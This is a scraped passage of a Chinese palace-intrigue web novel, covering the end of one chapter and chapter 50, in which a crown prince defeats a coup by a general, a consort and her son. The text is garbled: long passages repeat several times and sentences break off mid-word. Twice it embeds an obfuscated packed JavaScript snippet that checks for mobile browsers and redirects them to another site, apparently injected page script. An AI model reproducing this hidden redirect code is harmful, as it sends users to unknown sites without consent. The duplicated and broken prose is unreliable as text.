马鑫骤闻此言,先是怔愣了一下,随后大手一挥,“听不懂你们这群文官文绉绉的话,要么给老子闪开,要么两军开战。” 宋亭舟当然不会闪开,聂家军和秦啸忠带来的士兵人数相当,纵使秦家军队更剩一筹,在这里开战损失的也是禹国大军,能拖必拖,能劝必劝。 他在马上高升阔论,“马将军就没有妻儿亲人在家吗?你身后的将士就没有亲眷在盛京吗?甚至两军之中还有多年未见的兄弟、父子、连襟,也未可知。我身边的秦将军与聂将军确实不合,但他们两位都是镇守边境数十年,阻挠外敌入侵的英雄豪杰,马将军若是有能耐只管杀去边境,而不是践踏咱们禹国自己的国土!” 马鑫身后的士兵有片刻骚动,连秦啸忠这面的兵将都有所触动。 “军令如山,不管你说破天去,我们既听命于聂将军,便势要入京!”马鑫虽然略有松动,却也不可能因为宋亭舟的三言两语便不听军令。 能听得进话便一切好说,宋亭舟又道:“将在外,军命有所不受,盛京城中博弈看的是两位皇子你争我夺,无论是谁登基,你我皆要俯首称臣。马将军何不等上一日,就一日。若廉王殿下事成,秦将军愿意退去,若太子殿下事成,马将军为了身后的兄弟,难不成要叛国吗?” 马鑫身侧的副将忍不住道:“将军,便是咱们与秦啸忠开战,一时半会也突不破重围去围剿盛京城,不若便听他一言,等上一晚?” 残阳沉落西山,天光暗涌慢慢融进暮色里,两边的士兵中各有觉着火把的人,火光跳动间,犹如未知的怪物在火焰中舞动。 马鑫沉默许久,才终于下定决心,“好,吾等便等上一夜,明早鸡鸣之时,若城中再没传来消息,你也不必劝说,我们与秦家军之间必定要有一战!” 宋亭舟心里悬着的那块石头,终于“咚”地一声落下了地,紧绷的肩膀微垮,他目光如炬的看着马鑫,诚恳拱手,“多谢马将军心存百姓。” 秦家军就地歇息,没人安营扎寨,大家就席地而坐,原地休整。前头巡逻的士兵一队换着一队,面对聂川私兵,不敢有半点松懈。 最后面的火头军开始生火造饭,两边都冒起了阵阵炊烟,条件在这里,稀饭馒头已经是顶好的伙食。 宋亭舟说了半天,口干舌燥的退至后方,秦啸忠递给他一只水囊,疑虑消解,豁然开朗道:“难怪太子殿下非要等你出城。” 若单是秦啸忠在,免不了一场大战,聂川的私兵都是战场上见过血的好手,哪怕他们会赢,绝对也会付出惨重的代价。 如宋亭舟刚才所说,他们都曾是战场上为国为民镇守边疆的英雄,不该死在自己人手中。 他在马上高升阔论,“马将军就没有妻儿亲人在家吗?你身后的将士就没有亲眷在盛京吗?甚至两军之中还有多年未见的兄弟、父子、连襟,也未可知。我身边的秦将军与聂将军确实不合,但他们两位都是镇守边境数十年,阻挠外敌入侵的英雄豪杰,马将军若是有能耐只管杀去边境,而不是践踏咱们禹国自己的国土!” 马鑫身后的士兵有片刻骚动,连秦啸忠这面的兵将都有所触动。 “军令如山,不管你说破天去,我们既听命于聂将军,便势要入京!”马鑫虽然略有松动,却也不可能因为宋亭舟的三言两语便不听军令。 能听得进话便一切好说,宋亭舟又道:“将在外,军命有所不受,盛京城中博弈看的是两位皇子你争我夺,无论是谁登基,你我皆要俯首称臣。马将军何不等上一日,就一日。若廉王殿下事成,秦将军愿意退去,若太子殿下事成,马将军为了身后的兄弟,难不成要叛国吗?” 马鑫身侧的副将忍不住道:“将军,便是咱们与秦啸忠开战,一时半会也突不破重围去围剿盛京城,不若便听他一言,等上一晚?” 残阳沉落西山,天光暗涌慢慢融进暮色里,两边的士兵中各有觉着火把的人,火光跳动间,犹如未知的怪物在火焰中舞动。 马鑫沉默许久,才终于下定决心,“好,吾等便等上一夜,明早鸡鸣之时,若城中再没传来消息,你也不必劝说,我们与秦家军之间必定要有一战!” 宋亭舟心里悬着的那块石头,终于“咚”地一声落下了地,紧绷的肩膀微垮,他目光如炬的看着马鑫,诚恳拱手,“多谢马将军心存百姓。” 秦家军就地歇息,没人安营扎寨,大家就席地而坐,原地休整。前头巡逻的士兵一队换着一队,面对聂川私兵,不敢有半点松懈。 最后面的火头军开始生火造饭,两边都冒起了阵阵炊烟,条件在这里,稀饭馒头已经是顶好的伙食。 宋亭舟说了半天,口干舌燥的退至后方,秦啸忠递给他一只水囊,疑虑消解,豁然开朗道:“难怪太子殿下非要等你出城。” 若单是秦啸忠在,免不了一场大战,聂川的私兵都是战场上见过血的好手,哪怕他们会赢,绝对也会付出惨重的代价。 如宋亭舟刚才所说,他们都曾是战场上为国为民镇守边疆的英雄,不该死在自己人手中。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16594811|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他在马上高升阔论,“马将军就没有妻儿亲人在家吗?你身后的将士就没有亲眷在盛京吗?甚至两军之中还有多年未见的兄弟、父子、连襟,也未可知。我身边的秦将军与聂将军确实不合,但他们两位都是镇守边境数十年,阻挠外敌入侵的英雄豪杰,马将军若是有能耐只管杀去边境,而不是践踏咱们禹国自己的国土!” 马鑫身后的士兵有片刻骚动,连秦啸忠这面的兵将都有所触动。 “军令如山,不管你说破天去,我们既听命于聂将军,便势要入京!”马鑫虽然略有松动,却也不可能因为宋亭舟的三言两语便不听军令。 能听得进话便一切好说,宋亭舟又道:“将在外,军命有所不受,盛京城中博弈看的是两位皇子你争我夺,无论是谁登基,你我皆要俯首称臣。马将军何不等上一日,就一日。若廉王殿下事成,秦将军愿意退去,若太子殿下事成,马将军为了身后的兄弟,难不成要叛国吗?” 马鑫身侧的副将忍不住道:“将军,便是咱们与秦啸忠开战,一时半会也突不破重围去围剿盛京城,不若便听他一言,等上一晚?” 残阳沉落西山,天光暗涌慢慢融进暮色里,两边的士兵中各有觉着火把的人,火光跳动间,犹如未知的怪物在火焰中舞动。 马鑫沉默许久,才终于下定决心,“好,吾等便等上一夜,明早鸡鸣之时,若城中再没传来消息,你也不必劝说,我们与秦家军之间必定要有一战!” 宋亭舟心里悬着的那块石头,终于“咚”地一声落下了地,紧绷的肩膀微垮,他目光如炬的看着马鑫,诚恳拱手,“多谢马将军心存百姓。” 秦家军就地歇息,没人安营扎寨,大家就席地而坐,原地休整。前头巡逻的士兵一队换着一队,面对聂川私兵,不敢有半点松懈。 最后面的火头军开始生火造饭,两边都冒起了阵阵炊烟,条件在这里,稀饭馒头已经是顶好的伙食。 宋亭舟说了半天,口干舌燥的退至后方,秦啸忠递给他一只水囊,疑虑消解,豁然开朗道:“难怪太子殿下非要等你出城。” 若单是秦啸忠在,免不了一场大战,聂川的私兵都是战场上见过血的好手,哪怕他们会赢,绝对也会付出惨重的代价。 如宋亭舟刚才所说,他们都曾是战场上为国为民镇守边疆的英雄,不该死在自己人手中。 他在马上高升阔论,“马将军就没有妻儿亲人在家吗?你身后的将士就没有亲眷在盛京吗?甚至两军之中还有多年未见的兄弟、父子、连襟,也未可知。我身边的秦将军与聂将军确实不合,但他们两位都是镇守边境数十年,阻挠外敌入侵的英雄豪杰,马将军若是有能耐只管杀去边境,而不是践踏咱们禹国自己的国土!” 马鑫身后的士兵有片刻骚动,连秦啸忠这面的兵将都有所触动。 “军令如山,不管你说破天去,我们既听命于聂将军,便势要入京!”马鑫虽然略有松动,却也不可能因为宋亭舟的三言两语便不听军令。 能听得进话便一切好说,宋亭舟又道:“将在外,军命有所不受,盛京城中博弈看的是两位皇子你争我夺,无论是谁登基,你我皆要俯首称臣。马将军何不等上一日,就一日。若廉王殿下事成,秦将军愿意退去,若太子殿下事成,马将军为了身后的兄弟,难不成要叛国吗?” 马鑫身侧的副将忍不住道:“将军,便是咱们与秦啸忠开战,一时半会也突不破重围去围剿盛京城,不若便听他一言,等上一晚?” 残阳沉落西山,天光暗涌慢慢融进暮色里,两边的士兵中各有觉着火把的人,火光跳动间,犹如未知的怪物在火焰中舞动。 马鑫沉默许久,才终于下定决心,“好,吾等便等上一夜,明早鸡鸣之时,若城中再没传来消息,你也不必劝说,我们与秦家军之间必定要有一战!” 宋亭舟心里悬着的那块石头,终于“咚”地一声落下了地,紧绷的肩膀微垮,他目光如炬的看着马鑫,诚恳拱手,“多谢马将军心存百姓。” 秦家军就地歇息,没人安营扎寨,大家就席地而坐,原地休整。前头巡逻的士兵一队换着一队,面对聂川私兵,不敢有半点松懈。 最后面的火头军开始生火造饭,两边都冒起了阵阵炊烟,条件在这里,稀饭馒头已经是顶好的伙食。 宋亭舟说了半天,口干舌燥的退至后方,秦啸忠递给他一只水囊,疑虑消解,豁然开朗道:“难怪太子殿下非要等你出城。” 若单是秦啸忠在,免不了一场大战,聂川的私兵都是战场上见过血的好手,哪怕他们会赢,绝对也会付出惨重的代价。 如宋亭舟刚才所说,他们都曾是战场上为国为民镇守边疆的英雄,不该死在自己人手中。 他在马上高升阔论,“马将军就没有妻儿亲人在家吗?你身后的将士就没有亲眷在盛京吗?甚至两军之中还有多年未见的兄弟、父子、连襟,也未可知。我身边的秦将军与聂将军确实不合,但他们两位都是镇守边境数十年,阻挠外敌入侵的英雄豪杰,马将军若是有能耐只管杀去边境,而不是践踏咱们禹国自己的国土!” 马鑫身后的士兵有片刻骚动,连秦啸忠这面的兵将都有所触动。 “军令如山,不管你说破天去,我们既听命于聂将军,便势要入京!”马鑫虽然略有松动,却也不可能因为宋亭舟的三言两语便不听军令。 能听得进话便一切好说,宋亭舟又道:“将在外,军命有所不受,盛京城中博弈看的是两位皇子你争我夺,无论是谁登基,你我皆要俯首称臣。马将军何不等上一日,就一日。若廉王殿下事成,秦将军愿意退去,若太子殿下事成,马将军为了身后的兄弟,难不成要叛国吗?” 马鑫身侧的副将忍不住道:“将军,便是咱们与秦啸忠开战,一时半会也突不破重围去围剿盛京城,不若便听他一言,等上一晚?” 残阳沉落西山,天光暗涌慢慢融进暮色里,两边的士兵中各有觉着火把的人,火光跳动间,犹如未知的怪物在火焰中舞动。 马鑫沉默许久,才终于下定决心,“好,吾等便等上一夜,明早鸡鸣之时,若城中再没传来消息,你也不必劝说,我们与秦家军之间必定要有一战!” 宋亭舟心里悬着的那块石头,终于“咚”地一声落下了地,紧绷的肩膀微垮,他目光如炬的看着马鑫,诚恳拱手,“多谢马将军心存百姓。” 秦家军就地歇息,没人安营扎寨,大家就席地而坐,原地休整。前头巡逻的士兵一队换着一队,面对聂川私兵,不敢有半点松懈。 最后面的火头军开始生火造饭,两边都冒起了阵阵炊烟,条件在这里,稀饭馒头已经是顶好的伙食。 宋亭舟说了半天,口干舌燥的退至后方,秦啸忠递给他一只水囊,疑虑消解,豁然开朗道:“难怪太子殿下非要等你出城。” 若单是秦啸忠在,免不了一场大战,聂川的私兵都是战场上见过血的好手,哪怕他们会赢,绝对也会付出惨重的代价。 如宋亭舟刚才所说,他们都曾是战场上为国为民镇守边疆的英雄,不该死在自己人手中。 第50章 交手 “毒妇,你竟敢谋害皇嗣!” 聂贵妃没想到他下朝后没有去御书房,也没去乾清宫,反而带着人直奔国师炼丹的钦安殿中。 满脸是血的梁嫔挣脱拖着仅剩的一口气,爬到皇上脚边,眼中全是不甘与悔恨,“陛下,你要为我做主啊!聂澜儿那个**将六皇子扔进了火炉,她……她!” 梁嫔伤势太重,话都没说完,便带着滔天的恨意含恨而终。 皇上触及她面上还在流动的血液,竟是半张面皮都被生生揭下去了。再抬眼往面前高不见顶的青铜丹炉望去,阔口炉门中的火光正旺,一截还在凝着油脂的小胳膊已经被熏成黑棕色。 帝王双手颤抖,声音嘶哑着怒吼,“毒妇!贱婢,你竟敢如此胆大妄为!” 那是他最爱的孩子,他还小,是那样乖巧聪慧,会将自己爱吃的糕点留存下来给他,会伏在他膝上撒娇卖乖,读书有得,孝顺贴心,待自己百年之后,会给他留下一个无外戚干政的清朗朝廷。 他的皇儿天生贵胄,却被这毒妇给加害了! “来人!将这贱妇和那妖道统统给朕扔进火炉!” 聂贵妃已经从刚才被发现的心惊胆战中清醒过来,听他喊国师妖道,猜到他已然发现了蚩峟的身份,“陛下啊陛下,原来你已经知道这道士练的丹药是要你命的,可惜已经晚了,不知殿下梦里是否还会梦见你的好皇兄,日夜不得安眠、却又摆脱不掉的滋味可还好过啊?哈哈哈哈……” 她高声朗笑,与往日高贵冷清的模样大相径庭,像是在经历了人生中最快意的时刻。 一旁缺失了一条胳膊的国师蚩峟老神在在,并无惊惧之色,本该被关押起来的郭启秀白着张脸自他身后走出,那张脸稍加修饰之后,确实与先太子一模一样。 “皇叔,我小时候你还抱过我,才不过三十几年,你就忘了吗?”郭启秀怪模怪样的笑着。 原来他竟然真的是先太子的儿子,也不知道廉王早年从哪儿找来的人,这些年“郭启秀”一直都在吉婆岛,一入皇城便把皇上的心防击得粉碎,不然他也不敢如此肆无忌惮的用药。 郭启秀的笑声与聂贵妃的笑声交织在一起,一个低声怪异,一个高声尖锐,直刺的皇上抱着头,似一万根针齐齐刺向他头颅。 “来人!来人!!!” “将他们都抓起来!绞死… …不,凌迟!腰斩!” 皇上疼痛难忍,更让人无法忍受的是身体中那种抓心挠肺的酸痛感,之前每天他都会在早朝后按蚩峟所说服用药丸,今早在意识到这个道人身份存疑后,他便让喜公公将丹药送去了宫外。 这会儿整个禹国最尊贵的人疯了似的抱头大喊,像是有无数的细虫在骨缝中爬来爬去,那种煎熬难忍的崩溃感,让他浑身不住打颤,下意识的蜷缩在地上。除去他那一身明黄色的龙袍还能彰显他帝王的身份外,连金丝铸造的金翼善冠都跌落在地,沾染上了柴灰,哪里还像一个帝王? 郑瑞忠心耿耿地扶起他,担忧到一叠声的询问:“陛下,你这是怎么了陛下。” 被追杀的潜龙卫和锦衣卫便是在这时找到了皇上。 郑瑞见来**喜,“快来人,皇上遭奸人陷害,快来护驾!” 潜龙卫指挥使便是之前替皇上办事的一品**,她冷静地看了一眼颤抖不止的皇上,“将聂贵妃等人捆起来,等皇上病好发落。” “是,大人!”其余潜龙卫的人动作飞快的上前绑人,聂贵妃手无缚鸡之力便罢了,国师蚩峟和郭启秀却不会束手就擒。 趁他们乱做一团,潜龙卫指挥使以娇小的身躯一把扛起帝王,带着剩余的人继续往后宫的方向躲藏,郑瑞紧跟其后。 他们离开后没多久,聂川和廉王便带兵赶到。 聂贵妃身上还被捆绑着绳子,廉王见状忙蹲下身子去帮她揭开,“母妃,你怎么样?” 聂贵妃见他赶了回来,松了一口气,“没事。” 聂川看着一地面上泛着青黑之色的尸体,沉声问道:“皇上呢?” 蚩峟用独手将一缕垂在他脸上的白发拂开,把手中一瓶黑色药瓶揣回怀中,漫不经心地说:“被一群侍卫带走了,为首的是个女娘。” 虽说廉王算是他雇主,但他在几人面前也没显露出几分怯意。 聂川身材高大,垂眸看向蚩峟的眼中隐隐泛着杀意,这样手段诡异道人,决不能让他活到廉王登基。 蚩峟常年江湖飘荡,瞬间察觉到一丝不对来,警惕地望着一身朝服也掩盖不准肃杀之气的聂川,和其身后不断涌入的士兵。 他的毒再厉害,也毒不完上千士兵,没等他下毒,这位久经沙场的老将便会出手将他捏死。 蚩峟神情高度紧绷,聂 川却暂时放过了他,带领侍卫们继续搜查。 整个皇城实在太大了,潜龙卫指挥使又极为熟悉皇城内所有宫殿和密道,直到傍晚所有宫殿都被侍卫点起了火把,五军营的人除了部分留守城门处,其余全都入宫支援,才终于在偏远一角御马监的一处马房内,找到了躲藏其中的皇上。 廉王身边的冯褚和潜龙卫指挥使缠斗在了一起,聂川这边的高手鱼贯而出,那女娘终于露出破绽,被冯褚一剑斩杀。 剩下的人已经不足为惧,聂川像提着条死狗那样提着人事不知的皇上,直将人带到了御书房,扔在一脸亢奋的廉王面前。 “让你找来那个妖道给他粒丹药,让他暂时清醒一二。”聂川对廉王说道。 大事将成,廉王激动到双臂都在微微打颤,根本没有听清聂川的话。 “廉王!”聂贵妃坐在一旁眼角下撇,带着一丝不耐的冷喝了一声,他才突然惊醒,压下嘴角叫冯褚去将人提来。 但冯褚出去了一圈,回来却说那道士已经跑了。 —— 蚩峟冷静地换上一身侍卫衣袍,纵然那半黑半白的头发有些显眼,这会儿月黑风高也无人关注,他一口气药倒了十来个守着皇宫御花园北门的侍卫,要推门的瞬间发觉了一直跟在自己身后一大一小的两个身影。 “两位天潢贵胄,乃凤子龙孙,跟着贫道作甚?” 跟着他的赫然正是“郭启秀”和近来伪装成道童的郭启秀之子。 “道长说笑了,道长为什么要跑,我二人便为什么要跑。”不跑就要留下来被灭口。什么父亲是先太子,又有谁会承认? 不管是廉王还是太子,都不会认他这门亲戚,聂川行事狠辣,为了不节外生枝,他们早晚会被灭口。 蚩峟扯了扯嘴角,眼中勾勒三分凉薄,笑声短促又尖锐,“那两位先请吧。” 郭启秀牵着小男孩,**着往外走,“那就多谢道长了。” 进门的瞬间他便拉着小男孩飞奔向外,蚩峟再没听见半点声响。 门外无人看守吗?还是都在神武门巡逻? 皇宫就是麻烦,一层套着一层,从这道顺贞门出去,还要想办法再闯出神武门。若不是他提前摸清了一条出路,这会儿就算没有守卫也找不到出口,现在只希望那对父子能吸引大半的兵力。 蚩峟 将信将疑的拉开门,下一秒便被一柄尚未脱鞘的剑抵住了喉咙,蚩峟的手比脑子反应的更快,在剑鞘抵住喉咙的刹那,便往外甩出一包东西。 可东西尚未脱手,他一条手臂已经飞了出去,血液直到手臂啪嗒摔到地上的时候,才瞬间喷涌而出。 蚩峟惨叫一声,这下竟然双臂全无,他红着眼望去,才发现顺贞门直外层的神武门之间,整条街道上都是密密麻麻的骑兵,只有他面前这个俊美如涛、面容白皙的男子没有骑马,他身后郭启秀和其子已经被擒,紧闭双目,生死不知。 也难怪,此等身手,怪不得他们被擒之后一点动静也没能发出来。 穿着铠甲的太子坐于马背,语气凉薄道:“此等妖道,活着也是祸害,直接除去了吧。” 下一瞬,葛全剑刃并不出鞘,光是借着剑鞘用内劲,便直接砸断了蚩峟的颈骨。 从断臂到死亡,这位鹋族大祭司连一个字都没来得及说出来,就这么简单的一命呜呼了。 任他一肚子的阴谋诡计,满身的药汁毒丸,在绝对的武力面前,都是枉费。 葛全和秦啸云一直跟在太子身边贴身保护,另一头的秦艽也带人与太子一行人汇合。 他们行动不急不慌,一切尽在掌握。 先解救了被困的大臣们,后直接拿着廉王叛国的证据,以清君侧和救驾为由一点点收复叛乱的五军营和二十六卫所,直奔御书房而去。 尚且神志不清的皇上已经被廉王手把手的按着写下诏书,印上玉玺,太子大步进来的时候他还是昏昏沉沉的状态,却也知道那明黄色的诏书不能随便给了旁人,欲将诏书夺回,却被聂川直接踹飞了出去。 皇上倒在地上吐出一口淡色的血,反倒清醒过来,对着太子惊呼,“文昭,快快救驾!” 聂川紧捏着圣旨,望向太子身后的三千营指挥使,“三千营虽为骑兵,人数却没有五军营的多,文昭,你就拿这点人和我硬拼吗?” 太子先是给郑瑞使了个眼色,对方不用他多说已经下意识的跑过来扶起皇上。太子笑了,“好叫国公爷知道,五军营,也不是全是聂家的人吧?” 外头聂鸿飞刚宰了叛乱的承恩伯,拎着把红缨**带人进来,依旧是那副吊儿郎当的样子,“义父,大势所趋,你还是束手就擒的好,免得咱们父子相残。” 聂川冷笑,“我早就知 道聂家有叛徒,只是没想到是你。鸿飞,当日我在冰天雪地里捡了你一条命回来,若不是我,你还在同别的乞丐抢食吧,如今竟然背信弃义,你当文昭登基后就不会疑心你聂家人的身份吗?” 聂鸿飞剑眉下的星眸变得幽深,“好义父,聂鸿飞这个名字是你给我起的,可你不会忘了霍易将军吧?” 杀父之仇不敢不忘,聂鸿飞能忍到现在不变态已经算能人了。 聂川瞳孔骤然收缩,过往的碎片猛地在脑海中炸开,霍易本是他旗下的一名猛将,当年皇上登基后一直想找机会削弱聂川的势力,这个霍易便是他二人博弈的过程中牺牲的棋子。 但棋子亦是人,也有亲人好友。 太子太傅是皇后亲兄,也是太子的亲舅舅,乃禹国大儒,地位比郑肃还高。 太傅信奉的是儒家之道,主张仁爱、礼义,恨不得连个蚂蚁都不舍得踩死,老头吃了一辈子素,生平最爱的就是捡人,乐正崎的父亲是皇室子弟,太傅不忍其流落在外,所以给捡了回来,聂鸿飞则是因为他认得其夫霍易,便也将其带回。 太子就直白得多,他不养无用之人,所以哪怕两人是他的玩伴,该利用也不会手软。 “霍易……霍易!原来如此,看来你当初是被太子刻意派到我身边来的?你倒是能忍。”聂川怒极反笑,被人背叛他不怕,但聂鸿飞不光是他手下干将,还是他最得用的干儿子,聂家和五皇子的一干计划他起码掺和了一半,虽说不知道他豢养私兵的事,但五军营提督承恩伯投靠了聂家的事,他是一清二楚,难怪太子有恃无恐。 廉王也想到了此处,而且明明场中皇室有三人,他却被太子无视的彻底,便忍无可忍的对太子叫嚣道:“文昭,你以为我等筹谋一番,只有这点手段吗?通州有八万大军,只需一日便能杀进盛京城中,拿下大内更是不在话下,别说你身后的三千营,就是将全城守备加在一起也不过是螳臂当车!” 他难得压过太子一筹,这会儿心中说不出的快意,大笑了两声之后,却发现场中一片寂静,只有秦艽怜悯地看着他,像是在看傻子。 太子扭身往御书房的椅子上走去,边走边漫不经心地说:“不巧,国公准备了八万私军拿下通州,孤亦命秦啸忠带上九万将领候在顺义。不如国公猜猜,你的私兵几时会来城内支援?” “怎么可能,我们明明杀了通州监军,早早掌控驿站,切断了地方与朝廷之间的联系,你怎么可能未卜先知,调回秦啸忠对抗聂家私军?” 本是稳赢的局面怎会变得如此?廉王踉跄着退后了两步,满脸难以置信。 相比他这副不成事的样子,聂川反应便迅速的多,宫内如今都是太子的人,城外的私军又进不来,事到如今便只有一条出路—— “殿下小心!”秦艽惊呼。 刀剑相撞的铮鸣声响起,下一瞬聂川刺过来的长刀便被一柄长剑挡了回去。 聂川一刀未能砍中太子,下一刀便已经接踵而至,“难怪这一路上无论是谁出手,都没能动文昭分毫,原来他身边竟有这样功力登峰造极的高手。” 葛全飞身入殿并无作答,与聂川打的有来有回。 他们二人的动作像是唤醒了殿中其他人,众人极有默契的纷纷动起手来。 道聂家有叛徒,只是没想到是你。鸿飞,当日我在冰天雪地里捡了你一条命回来,若不是我,你还在同别的乞丐抢食吧,如今竟然背信弃义,你当文昭登基后就不会疑心你聂家人的身份吗?” 聂鸿飞剑眉下的星眸变得幽深,“好义父,聂鸿飞这个名字是你给我起的,可你不会忘了霍易将军吧?” 杀父之仇不敢不忘,聂鸿飞能忍到现在不变态已经算能人了。 聂川瞳孔骤然收缩,过往的碎片猛地在脑海中炸开,霍易本是他旗下的一名猛将,当年皇上登基后一直想找机会削弱聂川的势力,这个霍易便是他二人博弈的过程中牺牲的棋子。 但棋子亦是人,也有亲人好友。 太子太傅是皇后亲兄,也是太子的亲舅舅,乃禹国大儒,地位比郑肃还高。 太傅信奉的是儒家之道,主张仁爱、礼义,恨不得连个蚂蚁都不舍得踩死,老头吃了一辈子素,生平最爱的就是捡人,乐正崎的父亲是皇室子弟,太傅不忍其流落在外,所以给捡了回来,聂鸿飞则是因为他认得其夫霍易,便也将其带回。 太子就直白得多,他不养无用之人,所以哪怕两人是他的玩伴,该利用也不会手软。 “霍易……霍易!原来如此,看来你当初是被太子刻意派到我身边来的?你倒是能忍。”聂川怒极反笑,被人背叛他不怕,但聂鸿飞不光是他手下干将,还是他最得用的干儿子,聂家和五皇子的一干计划他起码掺和了一半,虽说不知道他豢养私兵的事,但五军营提督承恩伯投靠了聂家的事,他是一清二楚,难怪太子有恃无恐。 廉王也想到了此处,而且明明场中皇室有三人,他却被太子无视的彻底,便忍无可忍的对太子叫嚣道:“文昭,你以为我等筹谋一番,只有这点手段吗?通州有八万大军,只需一日便能杀进盛京城中,拿下大内更是不在话下,别说你身后的三千营,就是将全城守备加在一起也不过是螳臂当车!” 他难得压过太子一筹,这会儿心中说不出的快意,大笑了两声之后,却发现场中一片寂静,只有秦艽怜悯地看着他,像是在看傻子。 太子扭身往御书房的椅子上走去,边走边漫不经心地说:“不巧,国公准备了八万私军拿下通州,孤亦命秦啸忠带上九万将领候在顺义。不如国公猜猜,你的私兵几时会来城内支援?” “怎么可能,我们明明杀了通州监军,早早掌控驿站,切断了地方与朝廷之间的联系,你怎么可能未卜先知,调回秦啸忠对抗聂家私军?” 本是稳赢的局面怎会变得如此?廉王踉跄着退后了两步,满脸难以置信。 相比他这副不成事的样子,聂川反应便迅速的多,宫内如今都是太子的人,城外的私军又进不来,事到如今便只有一条出路—— “殿下小心!”秦艽惊呼。 刀剑相撞的铮鸣声响起,下一瞬聂川刺过来的长刀便被一柄长剑挡了回去。 聂川一刀未能砍中太子,下一刀便已经接踵而至,“难怪这一路上无论是谁出手,都没能动文昭分毫,原来他身边竟有这样功力登峰造极的高手。” 葛全飞身入殿并无作答,与聂川打的有来有回。 他们二人的动作像是唤醒了殿中其他人,众人极有默契的纷纷动起手来。 道聂家有叛徒,只是没想到是你。鸿飞,当日我在冰天雪地里捡了你一条命回来,若不是我,你还在同别的乞丐抢食吧,如今竟然背信弃义,你当文昭登基后就不会疑心你聂家人的身份吗?” 聂鸿飞剑眉下的星眸变得幽深,“好义父,聂鸿飞这个名字是你给我起的,可你不会忘了霍易将军吧?” 杀父之仇不敢不忘,聂鸿飞能忍到现在不变态已经算能人了。 聂川瞳孔骤然收缩,过往的碎片猛地在脑海中炸开,霍易本是他旗下的一名猛将,当年皇上登基后一直想找机会削弱聂川的势力,这个霍易便是他二人博弈的过程中牺牲的棋子。 但棋子亦是人,也有亲人好友。 太子太傅是皇后亲兄,也是太子的亲舅舅,乃禹国大儒,地位比郑肃还高。 太傅信奉的是儒家之道,主张仁爱、礼义,恨不得连个蚂蚁都不舍得踩死,老头吃了一辈子素,生平最爱的就是捡人,乐正崎的父亲是皇室子弟,太傅不忍其流落在外,所以给捡了回来,聂鸿飞则是因为他认得其夫霍易,便也将其带回。 太子就直白得多,他不养无用之人,所以哪怕两人是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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相比他这副不成事的样子,聂川反应便迅速的多,宫内如今都是太子的人,城外的私军又进不来,事到如今便只有一条出路—— “殿下小心!”秦艽惊呼。 刀剑相撞的铮鸣声响起,下一瞬聂川刺过来的长刀便被一柄长剑挡了回去。 聂川一刀未能砍中太子,下一刀便已经接踵而至,“难怪这一路上无论是谁出手,都没能动文昭分毫,原来他身边竟有这样功力登峰造极的高手。” 葛全飞身入殿并无作答,与聂川打的有来有回。 他们二人的动作像是唤醒了殿中其他人,众人极有默契的纷纷动起手来。 道聂家有叛徒,只是没想到是你。鸿飞,当日我在冰天雪地里捡了你一条命回来,若不是我,你还在同别的乞丐抢食吧,如今竟然背信弃义,你当文昭登基后就不会疑心你聂家人的身份吗?” 聂鸿飞剑眉下的星眸变得幽深,“好义父,聂鸿飞这个名字是你给我起的,可你不会忘了霍易将军吧?” 杀父之仇不敢不忘,聂鸿飞能忍到现在不变态已经算能人了。 聂川瞳孔骤然收缩,过往的碎片猛地在脑海中炸开,霍易本是他旗下的一名猛将,当年皇上登基后一直想找机会削弱聂川的势力,这个霍易便是他二人博弈的过程中牺牲的棋子。 但棋子亦是人,也有亲人好友。 太子太傅是皇后亲兄,也是太子的亲舅舅,乃禹国大儒,地位比郑肃还高。 太傅信奉的是儒家之道,主张仁爱、礼义,恨不得连个蚂蚁都不舍得踩死,老头吃了一辈子素,生平最爱的就是捡人,乐正崎的父亲是皇室子弟,太傅不忍其流落在外,所以给捡了回来,聂鸿飞则是因为他认得其夫霍易,便也将其带回。 太子就直白得多,他不养无用之人,所以哪怕两人是他的玩伴,该利用也不会手软。 “霍易……霍易!原来如此,看来你当初是被太子刻意派到我身边来的?你倒是能忍。”聂川怒极反笑,被人背叛他不怕,但聂鸿飞不光是他手下干将,还是他最得用的干儿子,聂家和五皇子的一干计划他起码掺和了一半,虽说不知道他豢养私兵的事,但五军营提督承恩伯投靠了聂家的事,他是一清二楚,难怪太子有恃无恐。 廉王也想到了此处,而且明明场中皇室有三人,他却被太子无视的彻底,便忍无可忍的对太子叫嚣道:“文昭,你以为我等筹谋一番,只有这点手段吗?通州有八万大军,只需一日便能杀进盛京城中,拿下大内更是不在话下,别说你身后的三千营,就是将全城守备加在一起也不过是螳臂当车!” 他难得压过太子一筹,这会儿心中说不出的快意,大笑了两声之后,却发现场中一片寂静,只有秦艽怜悯地看着他,像是在看傻子。 太子扭身往御书房的椅子上走去,边走边漫不经心地说:“不巧,国公准备了八万私军拿下通州,孤亦命秦啸忠带上九万将领候在顺义。不如国公猜猜,你的私兵几时会来城内支援?” “怎么可能,我们明明杀了通州监军,早早掌控驿站,切断了地方与朝廷之间的联系,你怎么可能未卜先知,调回秦啸忠对抗聂家私军?” 本是稳赢的局面怎会变得如此?廉王踉跄着退后了两步,满脸难以置信。 相比他这副不成事的样子,聂川反应便迅速的多,宫内如今都是太子的人,城外的私军又进不来,事到如今便只有一条出路—— “殿下小心!”秦艽惊呼。 刀剑相撞的铮鸣声响起,下一瞬聂川刺过来的长刀便被一柄长剑挡了回去。 聂川一刀未能砍中太子,下一刀便已经接踵而至,“难怪这一路上无论是谁出手,都没能动文昭分毫,原来他身边竟有这样功力登峰造极的高手。” 葛全飞身入殿并无作答,与聂川打的有来有回。 他们二人的动作像是唤醒了殿中其他人,众人极有默契的纷纷动起手来。 